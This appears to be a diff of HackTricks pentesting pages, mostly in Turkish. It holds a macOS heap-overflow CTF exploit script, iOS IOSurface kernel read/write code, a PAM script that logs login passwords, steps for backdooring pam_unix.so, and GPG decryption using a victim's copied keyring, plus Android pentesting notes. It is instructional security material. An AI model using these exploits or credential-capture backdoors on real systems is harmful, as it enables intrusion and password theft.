h->cb();
puts("[*] Done.");
return 0;
}
```
Şunu kullanarak derleyin:
```bash
clang -O0 -Wall -Wextra -std=c11 -o heap_groom vuln.c
```
## Exploit
> [!WARNING]
> Bu exploit NanoZone'u devre dışı bırakmak için env variable `MallocNanoZone=0`'ı ayarlıyor. Bu, küçük boyutlarda `malloc` çağırıldığında bitişik allocations elde etmek için gerekli. Aksi takdirde farklı mallocs farklı zones'a allocate edilecek ve bitişik olmayacaklar; dolayısıyla overflow beklenildiği gibi çalışmayacak.
```python
#!/usr/bin/env python3
# Heap overflow exploit for macOS ARM64 CTF challenge
#
# Vulnerability: Buffer overflow in heap-allocated buffer allows overwriting
# a function pointer in an adjacent heap chunk.
#
# Key insights:
# 1. macOS uses different heap zones for different allocation sizes
# 2. The NanoZone must be disabled (MallocNanoZone=0) to get predictable layout
# 3. With spacers allocated after main chunks, the distance is 560 bytes (432 padding needed)
#
from pwn import *
import re
import sys
import struct
import platform
# Detect architecture and set context accordingly
if platform.machine() == 'arm64' or platform.machine() == 'aarch64':
context.clear(arch='aarch64')
else:
context.clear(arch='amd64')
BIN = './heap_groom'
def parse_leak(line):
m = re.search(rb'win\(\) @ (0x[0-9a-fA-F]+)', line)
if not m:
log.failure("Couldn't parse leak")
sys.exit(1)
return int(m.group(1), 16)
def build_payload(win_addr, extra_pad=0):
# We want: [128 bytes padding] + [optional padding for heap metadata] + [overwrite cb pointer]
padding = b'A' * 128
if extra_pad:
padding += b'B' * extra_pad
# Add the win address to overwrite the function pointer
payload = padding + p64(win_addr)
return payload
def main():
# On macOS, we need to disable the Nano zone for adjacent allocations
import os
env = os.environ.copy()
env['MallocNanoZone'] = '0'
# The correct padding with MallocNanoZone=0 is 432 bytes
# This makes the total distance 560 bytes (128 buffer + 432 padding)
# Try the known working value first, then alternatives in case of heap variation
candidates = [
432, # 560 - 128 = 432 (correct padding with spacers and NanoZone=0)
424, # Try slightly less in case of alignment differences
440, # Try slightly more
416, # 16 bytes less
448, # 16 bytes more
0, # Direct adjacency (unlikely but worth trying)
]
log.info("Starting heap overflow exploit for macOS...")
for extra in candidates:
log.info(f"Trying extra_pad={extra} with MallocNanoZone=0")
p = process(BIN, env=env)
# Read leak line
leak_line = p.recvline()
win_addr = parse_leak(leak_line)
log.success(f"win() @ {hex(win_addr)}")
# Skip prompt lines
p.recvuntil(b"Enter payload length")
p.recvline()
# Build and send payload
payload = build_payload(win_addr, extra_pad=extra)
total_len = len(payload)
log.info(f"Sending {total_len} bytes (128 base + {extra} padding + 8 pointer)")
# Send length and payload
p.sendline(str(total_len).encode())
p.send(payload)
# Check if we overwrote the function pointer successfully
try:
output = p.recvuntil(b"Calling h->cb()", timeout=0.5)
p.recvline(timeout=0.5) # Skip the "..." part
# Check if we hit win()
response = p.recvline(timeout=0.5)
if b"win() reached" in response:
log.success(f"SUCCESS! Overwrote function pointer with extra_pad={extra}")
log.success("Shell spawned, entering interactive mode...")
p.interactive()
return
elif b"safe_cb() called" in response:
log.info(f"Failed with extra_pad={extra}, safe_cb was called")
else:
log.info(f"Failed with extra_pad={extra}, unexpected response")
except:
log.info(f"Failed with extra_pad={extra}, likely crashed")
p.close()
log.failure("All padding attempts failed. The heap layout might be different.")
log.info("Try running the exploit multiple times as heap layout can be probabilistic.")
if __name__ == '__main__':
main()
```
{{#include ../../banners/hacktricks-training.md}}

215
src/binary-exploitation/ios-exploiting/ios-physical-uaf-iosurface.md Normal file
View File

@ -0,0 +1,215 @@
# iOS Physical Use-After-Free via IOSurface
{{#include ../../banners/hacktricks-training.md}}
## Physical use-after-free
Bu, [https://alfiecg.uk/2024/09/24/Kernel-exploit.html](https://alfiecg.uk/2024/09/24/Kernel-exploit.html) adresindeki gönderiden alınmış bir özet olup, bu tekniği kullanan exploit hakkında daha fazla bilgi için [https://github.com/felix-pb/kfd](https://github.com/felix-pb/kfd) adresine bakabilirsiniz.
### XNU'da Bellek Yönetimi <a href="#memory-management-in-xnu" id="memory-management-in-xnu"></a>
iOS'taki kullanıcı süreçleri için **sanal bellek adres alanı** **0x0 ile 0x8000000000** arasını kapsar. Ancak bu adresler doğrudan fiziksel belleğe karşılık gelmez. Bunun yerine **kernel**, sanal adresleri gerçek **fiziksel adreslere** çevirmek için **sayfa tabloları** kullanır.
#### iOS'ta Sayfa Tablolarının Seviyeleri
Sayfa tabloları hiyerarşik olarak üç seviyede düzenlenmiştir:
1. **L1 Page Table (Level 1)**:
* Buradaki her giriş sanal belleğin büyük bir aralığını temsil eder.
* **0x1000000000 byte** (veya **256 GB**) sanal belleği kapsar.
2. **L2 Page Table (Level 2)**:
* Buradaki bir giriş, daha küçük bir sanal bellek bölgesini, özellikle **0x2000000 byte** (32 MB) kapsar.
* Bir L1 girişi, tüm bölgeyi kendisi eşleyemiyorsa bir L2 tablosuna işaret edebilir.
3. **L3 Page Table (Level 3)**:
* En ince seviye budur; her giriş tek bir **4 KB** bellek sayfasını eşler.
* Daha ayrıntılı kontrol gerektiğinde bir L2 girişi bir L3 tablosuna işaret edebilir.
#### Sanalden Fiziksele Haritalama
* **Direct Mapping (Block Mapping)**:
* Sayfa tablosundaki bazı girişler, sanal adreslerin bir aralığını bitişik bir fiziksel adres aralığına doğrudan **eşler** (kısayol gibi).
* **Pointer to Child Page Table**:
* Daha ince kontrol gerektiğinde, bir seviyedeki bir giriş (ör. L1) bir alt seviye sayfa tablosuna (ör. L2) işaret edebilir.
#### Sanal Adresin Haritalanmasına Örnek
Örneğin sanal adres **0x1000000000**'a erişmeye çalıştığınızı varsayalım:
1. **L1 Table**:
* kernel, bu sanal adrese karşılık gelen L1 sayfa tablosu girişini kontrol eder. Eğer bir **L2 sayfa tablosuna** işaret ediyorsa, o L2 tablosuna gider.
2. **L2 Table**:
* kernel daha ayrıntılı bir haritalama için L2 sayfa tablosunu denetler. Eğer bu giriş bir **L3 sayfa tablosuna** işaret ediyorsa, oraya ilerler.
3. **L3 Table**:
* kernel son L3 girişini arar; bu giriş gerçek bellek sayfasının **fiziksel adresine** işaret eder.
#### Adres Haritalamaya Örnek
Eğer L2 tablosunun ilk indeksine fiziksel adres **0x800004000** yazarsanız:
* **0x1000000000** ile **0x1002000000** arasındaki sanal adresler, **0x800004000** ile **0x802004000** arasındaki fiziksel adreslere eşlenir.
* Bu, L2 seviyesinde bir **block mapping**'dir.
Alternatif olarak, eğer L2 girişi bir L3 tablosuna işaret ediyorsa:
* **0x1000000000 -> 0x1002000000** sanal adres aralığındaki her 4 KB sayfa, L3 tablosundaki bireysel girişlerle eşlenecektir.
### Physical use-after-free
Bir **physical use-after-free** (UAF) şu durumda ortaya çıkar:
1. Bir süreç belli bir belleği **okunabilir ve yazılabilir** olarak **ayırır** (allocate).
2. Bu belleğe süreç erişebilmesi için **sayfa tabloları**, bu belleği belirli bir fiziksel adrese eşleyecek şekilde güncellenir.
3. Süreç belleği **serbest bırakır** (deallocate/free).
4. Ancak bir **bug** nedeniyle kernel, ilgili fiziksel belleğin serbest olarak işaretlenmesine rağmen sayfa tablosundaki **eşlemeyi kaldırmayı unutabilir**.
5. kernel daha sonra bu "serbest" fiziksel belleği başka amaçlar için, örneğin **kernel verisi** için **yeniden ayırabilir**.
6. Eşleme kaldırılmadığı için süreç hala bu fiziksel belleği **okuyup yazabilir**.
Bu, sürecin **kernel belleği sayfalarına** erişebilmesi anlamına gelir; bu sayfalar hassas veri veya yapılar içerebilir ve saldırganın **kernel belleğini manipüle etmesine** izin verebilir.
### IOSurface Heap Spray
Saldırgan, hangi kernel sayfalarının serbest kalan belleğe atanacağını kontrol edemediği için **heap spray** adı verilen bir teknik kullanır:
1. Saldırgan kernel belleğinde çok sayıda **IOSurface** nesnesi oluşturur.
2. Her IOSurface nesnesi bir alanında kolayca tanımlanabilen bir **magic value** içerir.
3. Serbest bırakılmış sayfaları **tarayarak** bu IOSurface nesnelerinden herhangi birinin serbest sayfaya yerleşip yerleşmediğine bakarlar.
4. Bir serbest sayfada bir IOSurface nesnesi bulduklarında, bunu **kernel belleğini okumak ve yazmak** için kullanabilirler.
Bu konuda daha fazla bilgi için [https://github.com/felix-pb/kfd/tree/main/writeups](https://github.com/felix-pb/kfd/tree/main/writeups) adresine bakın.
> [!TIP]
> iOS 16+ (A12+) cihazlarının donanım tabanlı mitigasyonlar (PPL veya SPTM gibi) getirdiğini ve bunun fiziksel UAF tekniklerini büyük ölçüde daha az uygulanabilir hale getirdiğini unutmayın.
> PPL, kod imzalama, yetkiler ve hassas kernel verileriyle ilişkili sayfalar üzerinde sıkı MMU korumaları uygular; dolayısıyla bir sayfa yeniden kullanılsa bile userland'den veya ele geçirilmiş kernel kodundan PPL ile korunan sayfalara yazmalar engellenir.
> Secure Page Table Monitor (SPTM), PPL'yi sayfa tablosu güncellemelerini sertleştirerek genişletir. Bu, ayrıcalıklı kernel kodunun bile serbest bırakılmış sayfaları sessizce yeniden eşlemesine veya eşlemeleri kötüye kullanmasına izin vermeyen güvenli kontrollerden geçmesi gerektiğini sağlar.
> KTRR (Kernel Text Read-Only Region), kernel'in kod bölümünü boot sonrası salt okunur olarak kilitler. Bu, runtime sırasında kernel kodu üzerinde yapılacak değişiklikleri engelleyerek fiziksel UAF exploit'lerinin sıklıkla dayandığı önemli bir saldırı vektörünü kapatır.
> Ayrıca, `IOSurface` tahsisleri artık daha az öngörülebilir ve kullanıcı tarafından erişilebilir bölgelere eşlemek zor olduğundan, "magic value tarama" hilesi çok daha az güvenilir hale gelmiştir. Ve `IOSurface` artık entitlements ve sandbox kısıtlamaları ile korunmaktadır.
### Adım Adım Heap Spray Süreci
1. **Spray IOSurface Objects**: Saldırgan özel bir tanımlayıcı ("magic value") ile çok sayıda IOSurface nesnesi oluşturur.
2. **Scan Freed Pages**: Oluşturulan nesnelerden herhangi birinin serbest bırakılmış bir sayfaya yerleşip yerleşmediğini kontrol ederler.
3. **Read/Write Kernel Memory**: IOSurface nesnesindeki alanları manipüle ederek, kernel belleğinde **keyfi okuma ve yazma** yapma yeteneği kazanırlar. Bu sayede:
* Bir alanı kernel belleğindeki herhangi bir 32-bit değeri **okumak** için kullanabilirler.
* Başka bir alanı 64-bit değerleri **yazmak** için kullanarak kararlı bir **kernel read/write primitive** elde edebilirler.
Daha sonra aramak için IOSurface nesnelerini IOSURFACE\_MAGIC sihirli değeriyle oluşturun:
```c
void spray_iosurface(io_connect_t client, int nSurfaces, io_connect_t **clients, int *nClients) {
if (*nClients >= 0x4000) return;
for (int i = 0; i < nSurfaces; i++) {
fast_create_args_t args;
lock_result_t result;
size_t size = IOSurfaceLockResultSize;
args.address = 0;
args.alloc_size = *nClients + 1;
args.pixel_format = IOSURFACE_MAGIC;
IOConnectCallMethod(client, 6, 0, 0, &args, 0x20, 0, 0, &result, &size);
io_connect_t id = result.surface_id;
(*clients)[*nClients] = id;
*nClients = (*nClients) += 1;
}
}
```
Bir serbest bırakılmış fiziksel sayfadaki **`IOSurface`** nesnelerini ara:
```c
int iosurface_krw(io_connect_t client, uint64_t *puafPages, int nPages, uint64_t *self_task, uint64_t *puafPage) {
io_connect_t *surfaceIDs = malloc(sizeof(io_connect_t) * 0x4000);
int nSurfaceIDs = 0;
for (int i = 0; i < 0x400; i++) {
spray_iosurface(client, 10, &surfaceIDs, &nSurfaceIDs);
for (int j = 0; j < nPages; j++) {
uint64_t start = puafPages[j];
uint64_t stop = start + (pages(1) / 16);
for (uint64_t k = start; k < stop; k += 8) {
if (iosurface_get_pixel_format(k) == IOSURFACE_MAGIC) {
info.object = k;
info.surface = surfaceIDs[iosurface_get_alloc_size(k) - 1];
if (self_task) *self_task = iosurface_get_receiver(k);
goto sprayDone;
}
}
}
}
sprayDone:
for (int i = 0; i < nSurfaceIDs; i++) {
if (surfaceIDs[i] == info.surface) continue;
iosurface_release(client, surfaceIDs[i]);
}
free(surfaceIDs);
return 0;
}
```
### IOSurface ile Kernel Okuma/Yazma Elde Etme
Kernel belleğindeki bir IOSurface nesnesi üzerinde kontrol elde ettikten sonra (userspace'ten erişilebilen boşaltılmış bir fiziksel sayfaya eşlenmiş), bunu **arbitrary kernel read and write operations** için kullanabiliriz.
**IOSurface İçindeki Ana Alanlar**
IOSurface nesnesinin iki kritik alanı vardır:
1. **Use Count Pointer**: Bir **32-bit read** sağlar.
2. **Indexed Timestamp Pointer**: Bir **64-bit write** sağlar.
Bu pointer'ları overwrite ederek bunları kernel memory içindeki arbitrary adreslere yönlendiririz ve böylece read/write yetenekleri elde ederiz.
#### 32-Bit Kernel Okuma
Bir okuma gerçekleştirmek için:
1. **use count pointer**'ı hedef adresin 0x14-byte offset eksiğine işaret edecek şekilde overwrite edin.
2. `get_use_count` metodunu kullanarak o adresteki değeri okuyun.
```c
uint32_t get_use_count(io_connect_t client, uint32_t surfaceID) {
uint64_t args[1] = {surfaceID};
uint32_t size = 1;
uint64_t out = 0;
IOConnectCallMethod(client, 16, args, 1, 0, 0, &out, &size, 0, 0);
return (uint32_t)out;
}
uint32_t iosurface_kread32(uint64_t addr) {
uint64_t orig = iosurface_get_use_count_pointer(info.object);
iosurface_set_use_count_pointer(info.object, addr - 0x14); // Offset by 0x14
uint32_t value = get_use_count(info.client, info.surface);
iosurface_set_use_count_pointer(info.object, orig);
return value;
}
```
#### 64-Bit Kernel Write
Bir yazma işlemi gerçekleştirmek için:
1. Hedef adrese **indexed timestamp pointer**'ı üzerine yazın.
2. `set_indexed_timestamp` yöntemini kullanarak 64-bit bir değer yazın.
```c
void set_indexed_timestamp(io_connect_t client, uint32_t surfaceID, uint64_t value) {
uint64_t args[3] = {surfaceID, 0, value};
IOConnectCallMethod(client, 33, args, 3, 0, 0, 0, 0, 0, 0);
}
void iosurface_kwrite64(uint64_t addr, uint64_t value) {
uint64_t orig = iosurface_get_indexed_timestamp_pointer(info.object);
iosurface_set_indexed_timestamp_pointer(info.object, addr);
set_indexed_timestamp(info.client, info.surface, value);
iosurface_set_indexed_timestamp_pointer(info.object, orig);
}
```
#### Exploit Akışı Özeti
1. **Trigger Physical Use-After-Free**: Boş sayfalar yeniden kullanım için uygun hale gelir.
2. **Spray IOSurface Objects**: Çekirdek bellekte benzersiz bir "magic value" ile çok sayıda IOSurface nesnesi ayırın.
3. **Identify Accessible IOSurface**: Kontrolünüzdeki serbest bırakılmış bir sayfada bir IOSurface bulun.
4. **Abuse Use-After-Free**: IOSurface nesnesindeki pointerları değiştirerek IOSurface yöntemleri aracılığıyla keyfi **kernel read/write** sağlayın.
Bu primitives ile exploit, çekirdek belleğe kontrollü **32-bit reads** ve **64-bit writes** sağlar. İlave jailbreak adımları daha stabil read/write primitives gerektirebilir; bu da ek korumaların atlatılmasını (ör. yeni arm64e cihazlarda PPL) gerektirebilir.
{{#include ../../banners/hacktricks-training.md}}

50
src/linux-hardening/linux-post-exploitation/README.md
View File

@ -4,23 +4,23 @@
## Sniffing Logon Passwords with PAM
Her kullanıcının login sırasında kullandığı parolayı kaydedecek bir PAM modülü yapılandıralım. PAM'in ne olduğunu bilmiyorsanız kontrol edin:
Bir PAM modülünü, her kullanıcının girişte kullandığı her şifreyi kaydedecek şekilde yapılandıralım. PAM nedir bilmiyorsanız bakın:
{{#ref}}
pam-pluggable-authentication-modules.md
{{#endref}}
**Daha fazla detay için [original post](https://embracethered.com/blog/posts/2022/post-exploit-pam-ssh-password-grabbing/)'u kontrol edin**. Bu sadece bir özet:
**Daha fazla ayrıntı için [original post](https://embracethered.com/blog/posts/2022/post-exploit-pam-ssh-password-grabbing/)**. Bu sadece bir özet:
**Technique Overview:**
Pluggable Authentication Modules (PAM), Unix tabanlı sistemlerde kimlik doğrulamayı yönetmede esneklik sağlar. Login süreçlerini özelleştirerek güvenliği artırabilirler ancak kötüye kullanıldıklarında risk oluştururlar. Bu özet, PAM kullanarak login kimlik bilgilerini ele geçirme tekniğini ve azaltma stratejilerini ana hatlarıyla verir.
**Teknik Genel Bakış:**
Pluggable Authentication Modules (PAM) Unix tabanlı sistemlerde kimlik doğrulamanın yönetilmesine esneklik sağlar. Giriş süreçlerini özelleştirerek güvenliği artırabilirler, ancak kötüye kullanıldıklarında risk oluştururlar. Bu özet, PAM kullanarak giriş kimlik bilgilerini yakalamaya yönelik bir tekniği ve bunu hafifletme stratejilerini özetlemektedir.
**Capturing Credentials:**
**Kimlik Bilgilerinin Yakalanması:**
- `toomanysecrets.sh` adında bir bash script oluşturularak login denemelerini kaydeder; tarih, kullanıcı adı (`$PAM_USER`), parola (stdin aracılığıyla) ve remote host IP (`$PAM_RHOST`) `/var/log/toomanysecrets.log` dosyasına yazılır.
- Script çalıştırılabilir hale getirilir ve `common-auth` PAM konfigürasyonuna `pam_exec.so` modülü ile sessiz çalıştırma ve authentication token'ını script'e açma seçenekleri kullanılarak entegre edilir.
- Bu yaklaşım, ele geçirilmiş bir Linux hostunun kimlik bilgilerini gizlice kaydetmek için nasıl sömürülebileceğini gösterir.
- `toomanysecrets.sh` adlı bir bash scripti, giriş denemelerini kaydetmek için hazırlanır; tarih, kullanıcı adı (`$PAM_USER`), parola (stdin aracılığıyla) ve uzak host IP'si (`$PAM_RHOST`) `/var/log/toomanysecrets.log` dosyasına kaydedilir.
- Script çalıştırılabilir hale getirilir ve `pam_exec.so` modülü kullanılarak PAM yapılandırmasına (`common-auth`) entegre edilir; modüle sessiz çalışması ve kimlik doğrulama belirtecini script'e iletmesi için seçenekler verilir.
- Bu yaklaşım, ele geçirilmiş bir Linux host'unun kimlik bilgilerini gizlice kaydetmek için nasıl sömürülebileceğini gösterir.
```bash
#!/bin/sh
echo " $(date) $PAM_USER, $(cat -), From: $PAM_RHOST" >> /var/log/toomanysecrets.log
@ -32,33 +32,32 @@ sudo chmod 700 /usr/local/bin/toomanysecrets.sh
```
### Backdooring PAM
**Daha fazla detay için [original post](https://infosecwriteups.com/creating-a-backdoor-in-pam-in-5-line-of-code-e23e99579cd9)’a bakın.** Bu sadece bir özet:
**For further details check the [original post](https://infosecwriteups.com/creating-a-backdoor-in-pam-in-5-line-of-code-e23e99579cd9)**. Bu sadece bir özet:
Pluggable Authentication Module (PAM), Linux altında kullanıcı doğrulaması için kullanılan bir sistemdir. Üç ana kavram üzerinde çalışır: **kullanıcı adı**, **parola** ve **servis**. Her servis için yapılandırma dosyaları `/etc/pam.d/` dizininde bulunur; kimlik doğrulamayı paylaşılan kütüphaneler yönetir.
Pluggable Authentication Module (PAM), Linux altında kullanıcı kimlik doğrulaması için kullanılan bir sistemdir. Üç ana kavram üzerine çalışır: **username**, **password**, ve **service**. Her service için yapılandırma dosyaları `/etc/pam.d/` dizininde bulunur; kimlik doğrulama shared library'ler tarafından yürütülür.
**Amaç**: PAM'i, gerçek kullanıcı parolasını atlayarak belirli bir parola ile kimlik doğrulamasına izin verecek şekilde değiştirmek. Bu özellikle `pam_unix.so` paylaşılan kütüphanesine odaklanır; bu kütüphane parola doğrulaması için neredeyse tüm servisler tarafından dahil edilen `common-auth` dosyası tarafından kullanılır.
**Objective**: PAM'i, gerçek kullanıcı parolasını atlayarak belirli bir parola ile kimlik doğrulamaya izin verecek şekilde değiştirmek. Bu özellikle parola doğrulama için neredeyse tüm servisler tarafından include edilen `common-auth` dosyası tarafından kullanılan `pam_unix.so` shared library'si üzerinde yoğunlaşır.
### Steps for Modifying `pam_unix.so`:
1. **Kimlik Doğrulama Direktifini Bulun** `common-auth` dosyasında:
- Bir kullanıcının parolasını kontrol eden satır `pam_unix.so`'yu çağırır.
2. **Kaynak Kodu Değiştirin**:
- `pam_unix_auth.c` kaynak dosyasına, önceden tanımlanmış bir parola kullanıldığında erişim veren; aksi halde normal kimlik doğrulama sürecine devam eden bir koşul ifadesi ekleyin.
3. **Yeniden Derleyin ve Değiştirin**:
- Değiştirilmiş `pam_unix.so` kütüphanesini uygun dizinde yeniden derleyip yerine koyun.
4. **Test**:
- Önceden tanımlanmış parola ile login, ssh, sudo, su, screensaver gibi çeşitli servislerde erişim sağlanır; normal kimlik doğrulama süreçleri etkilenmez.
1. **Locate the Authentication Directive** in the `common-auth` file:
- The line responsible for checking a user's password calls `pam_unix.so`.
2. **Modify Source Code**:
- Add a conditional statement in the `pam_unix_auth.c` source file that grants access if a predefined password is used, otherwise, it proceeds with the usual authentication process.
3. **Recompile and Replace** the modified `pam_unix.so` library in the appropriate directory.
4. **Testing**:
- Access is granted across various services (login, ssh, sudo, su, screensaver) with the predefined password, while normal authentication processes remain unaffected.
> [!TIP]
> Bu işlemi [https://github.com/zephrax/linux-pam-backdoor](https://github.com/zephrax/linux-pam-backdoor) ile otomatikleştirebilirsiniz
> You can automate this process with [https://github.com/zephrax/linux-pam-backdoor](https://github.com/zephrax/linux-pam-backdoor)
## Homedir taşınarak GPG loot'un şifresini çözme
## Decrypting GPG loot via homedir relocation
Eğer şifreli bir `.gpg` dosyası ve bir kullanıcının `~/.gnupg` klasörünü (pubring, private-keys, trustdb) bulursanız fakat GnuPG homedir izinleri/kilitleri nedeniyle şifreyi çözemiyorsanız, keyring'i yazılabilir bir konuma kopyalayın ve bunu GPG home olarak kullanın.
Şifrelenmiş bir `.gpg` dosyası ve bir kullanıcının `~/.gnupg` klasörünü (pubring, private-keys, trustdb) bulduğunuzda ama GnuPG homedir izinleri/lock'ları nedeniyle decrypt yapamıyorsanız, keyring'i yazılabilir bir yere kopyalayın ve bunu GPG home olarak kullanın.
Bunu yapmazsanız göreceğiniz tipik hatalar: "unsafe ownership on homedir", "failed to create temporary file", veya "decryption failed: No secret key" (çünkü GPG orijinal homedir'i okuyamaz/yazamaz).
Bunun olmaması durumunda göreceğiniz tipik hatalar: "unsafe ownership on homedir", "failed to create temporary file", veya "decryption failed: No secret key" (çünkü GPG orijinal homedir'i okuyup/yazamıyor).
İş akışı:
Workflow:
```bash
# 1) Stage a writable homedir and copy the victim's keyring
mkdir -p /dev/shm/fakehome/.gnupg
@ -71,8 +70,7 @@ GNUPGHOME=/dev/shm/fakehome/.gnupg gpg -d /home/victim/backup/secrets.gpg
# or
gpg --homedir /dev/shm/fakehome/.gnupg -d /home/victim/backup/secrets.gpg
```
Gizli anahtar materyali `private-keys-v1.d` içinde mevcutsa, GPG parola sormadan kilidi açar ve şifreyi çözer (veya anahtar korunuyorsa parola ister).
Eğer gizli anahtar materyali `private-keys-v1.d` içinde bulunuyorsa, GPG passphrase sormadan unlock ve decrypt eder (anahtar korumalıysa passphrase istenir).
## Referanslar

583
src/linux-hardening/privilege-escalation/README.md
View File

File diff suppressed because it is too large Load Diff

503
src/mobile-pentesting/android-app-pentesting/README.md
View File

@ -4,8 +4,7 @@
## Android Uygulamaları Temelleri
Bu sayfayı okumaya başlamanız şiddetle tavsiye edilir; Android güvenliğiyle ilgili **en önemli bölümler ve bir Android uygulamasındaki en tehlikeli bileşenler** hakkında bilgi edinmek için:
Bu sayfayı okumaya başlamanız şiddetle tavsiye edilir; **Android güvenliği ile ilgili en önemli parçalar ve bir Android uygulamasındaki en tehlikeli bileşenler** hakkında bilgi edinmek için:
{{#ref}}
android-applications-basics.md
@ -13,15 +12,15 @@ android-applications-basics.md
## ADB (Android Debug Bridge)
Bu, bir Android cihaza (emüle edilmiş veya fiziksel) bağlanmak için ihtiyacınız olan ana araçtır.\
**ADB**, bilgisayardan cihazları ya **USB** ya da **Network** üzerinden kontrol etmeye imkân verir. Bu yardımcı program; dosyaların her iki yönde **kopyalanması**, uygulamaların **yüklenmesi** ve **kaldırılması**, shell komutlarının **çalıştırılması**, verilerin **yedeklenmesi**, logların **okunması** gibi işlevlerin yanı sıra diğer işler için de kullanılabilir.
Bu, bir Android cihaza (emüle edilmiş veya fiziksel) bağlanmak için ihtiyaç duyduğunuz ana araçtır.\
**ADB**, bir bilgisayardan **USB** veya **Network** üzerinden cihazları kontrol etmeyi sağlar. Bu araç, dosyaların her iki yönde **kopyalanması**, uygulamaların **yüklenmesi** ve **kaldırılması**, shell komutlarının **çalıştırılması**, verilerin **yedeklenmesi**, logların **okunması** gibi işlevleri mümkün kılar.
adb'nin nasıl kullanılacağını öğrenmek için aşağıdaki [**ADB Commands**](adb-commands.md) listesine göz atın.
Take a look to the following list of [**ADB Commands**](adb-commands.md) to learn how to use adb.
## Smali
Bazen **uygulama kodunu değiştirmek**, **gizli bilgilere** (ör. iyi şekilde obfuscate edilmiş şifreler veya flag'ler) erişmek için ilginç olabilir. Bu yüzden, apk'yi decompile etmek, kodu değiştirmek ve yeniden derlemek ilginç olabilir.\
[**In this tutorial** you can **learn how to decompile and APK, modify Smali code and recompile the APK** with the new functionality](smali-changes.md). Bu, dinamik analiz sırasında yapılacak çeşitli testler için çok yararlı bir **alternatif** olabilir. Bu olasılığı her zaman aklınızda bulundurun.
Bazen **uygulama kodunu değiştirmek**, gizli bilgilere (ör. iyi obfuskelenmiş parolalar veya flags) erişmek için ilginç olabilir. Bu durumda apk'yı decompile edip, kodu değiştirip yeniden derlemek ilginç olabilir.\
[**In this tutorial** you can **learn how to decompile and APK, modify Smali code and recompile the APK** with the new functionality](smali-changes.md). Bu, yapılacak dinamik analiz sırasında sunulacak çeşitli testler için bir **alternatif** olarak çok faydalı olabilir. Bu olasılığı **her zaman aklınızda bulundurun**.
## Diğer ilginç hileler
@ -29,8 +28,8 @@ Bazen **uygulama kodunu değiştirmek**, **gizli bilgilere** (ör. iyi şekilde
- [Shizuku Privileged API (ADB-based non-root privileged access)](shizuku-privileged-api.md)
- [Exploiting Insecure In-App Update Mechanisms](insecure-in-app-update-rce.md)
- [Abusing Accessibility Services (Android RAT)](accessibility-services-abuse.md)
- **Download APKs**: [https://apps.evozi.com/apk-downloader/](https://apps.evozi.com/apk-downloader/), [https://apkpure.com/es/](https://apkpure.com/es/), [https://www.apkmirror.com/](https://www.apkmirror.com), [https://apkcombo.com/es-es/apk-downloader/](https://apkcombo.com/es-es/apk-downloader/), [https://github.com/kiber-io/apkd](https://github.com/kiber-io/apkd)
- Cihazdan APK çıkarma:
- **APK'leri İndirin**: [https://apps.evozi.com/apk-downloader/](https://apps.evozi.com/apk-downloader/), [https://apkpure.com/es/](https://apkpure.com/es/), [https://www.apkmirror.com/](https://www.apkmirror.com), [https://apkcombo.com/es-es/apk-downloader/](https://apkcombo.com/es-es/apk-downloader/), [https://github.com/kiber-io/apkd](https://github.com/kiber-io/apkd)
- Cihazdan APK çıkar:
```bash
adb shell pm list packages
com.android.insecurebankv2
@ -40,7 +39,7 @@ package:/data/app/com.android.insecurebankv2-Jnf8pNgwy3QA_U5f-n_4jQ==/base.apk
adb pull /data/app/com.android.insecurebankv2-Jnf8pNgwy3QA_U5f-n_4jQ==/base.apk
```
- Tüm splits ve base apks'i [APKEditor](https://github.com/REAndroid/APKEditor) ile birleştirin:
- Tüm splits ve base apks'i [APKEditor](https://github.com/REAndroid/APKEditor):
```bash
mkdir splits
adb shell pm path com.android.insecurebankv2 | cut -d ':' -f 2 | xargs -n1 -i adb pull {} splits
@ -49,7 +48,7 @@ java -jar ../APKEditor.jar m -i splits/ -o merged.apk
# after merging, you will need to align and sign the apk, personally, I like to use the uberapksigner
java -jar uber-apk-signer.jar -a merged.apk --allowResign -o merged_signed
```
## Vaka Çalışmaları ve Güvenlik Açıkları
## Vaka İncelemeleri & Zayıflıklar
{{#ref}}
@ -63,39 +62,39 @@ java -jar uber-apk-signer.jar -a merged.apk --allowResign -o merged_signed
## Statik Analiz
Öncelikle, bir APK'yı analiz etmek için bir decompiler kullanarak **Java koduna göz atmalısınız**.\
Öncelikle, bir APK'yı analiz ederken bir decompiler kullanarak **Java koduna göz atmalısınız**.\
Lütfen, [**farklı kullanılabilir decompiler'lar hakkında bilgi almak için burayı okuyun**](apk-decompilers.md).
### İlginç Bilgiler Arama
APK'nın **strings**'lerine bakarak **passwords**, **URLs** ([https://github.com/ndelphit/apkurlgrep](https://github.com/ndelphit/apkurlgrep)), **api** keys, **encryption**, **bluetooth uuids**, **tokens** ve ilginç olabilecek her şeyi arayabilirsiniz... hatta kod yürütme **backdoors** veya kimlik doğrulama backdoor'ları (uygulamaya gömülü admin credentials) arayın.
APK'nın **strings**'lerine bakarak **şifreler**, **URLs** ([https://github.com/ndelphit/apkurlgrep](https://github.com/ndelphit/apkurlgrep)), **api** anahtarları, **şifreleme**, **bluetooth uuids**, **tokens** ve ilginç olabilecek her şeyi arayabilirsiniz... ayrıca kod çalıştırma **backdoors** veya kimlik doğrulama backdoors (uygulamaya hardcoded admin credentials) arayın.
**Firebase**
Firebase
Özellikle **firebase URLs**'lerine dikkat edin ve kötü yapılandırılıp yapılandırılmadığını kontrol edin. [Firebase'in ne olduğu ve nasıl istismar edileceği hakkında daha fazla bilgi için burayı okuyun.](../../network-services-pentesting/pentesting-web/buckets/firebase-database.md)
Özellikle **firebase URLs**'lerine dikkat edin ve kötü yapılandırılmış olup olmadığını kontrol edin. [Firebase nedir ve nasıl exploit edileceği hakkında daha fazla bilgi için buraya bakın.](../../network-services-pentesting/pentesting-web/buckets/firebase-database.md)
### Uygulamayı Temel Düzeyde Anlama - Manifest.xml, strings.xml
Bir uygulamanın _Manifest.xml_ ve _strings.xml_ dosyalarının **incelenmesi potansiyel güvenlik zafiyetlerini ortaya çıkarabilir**. Bu dosyalara decompiler'lar ile erişilebileceği gibi APK dosya uzantısını .zip olarak değiştirip açarak da ulaşabilirsiniz.
Bir uygulamanın _Manifest.xml_ ve **_strings.xml_** dosyalarının incelenmesi potansiyel güvenlik zafiyetlerini ortaya çıkarabilir. Bu dosyalara decompiler ile veya APK uzantısını .zip yapıp açarak erişilebilir.
Manifest.xml'den tespit edilebilecek **zafiyetler** şunlardır:
Manifest.xml'den tespit edilebilecek **zayıflıklar** şunlardır:
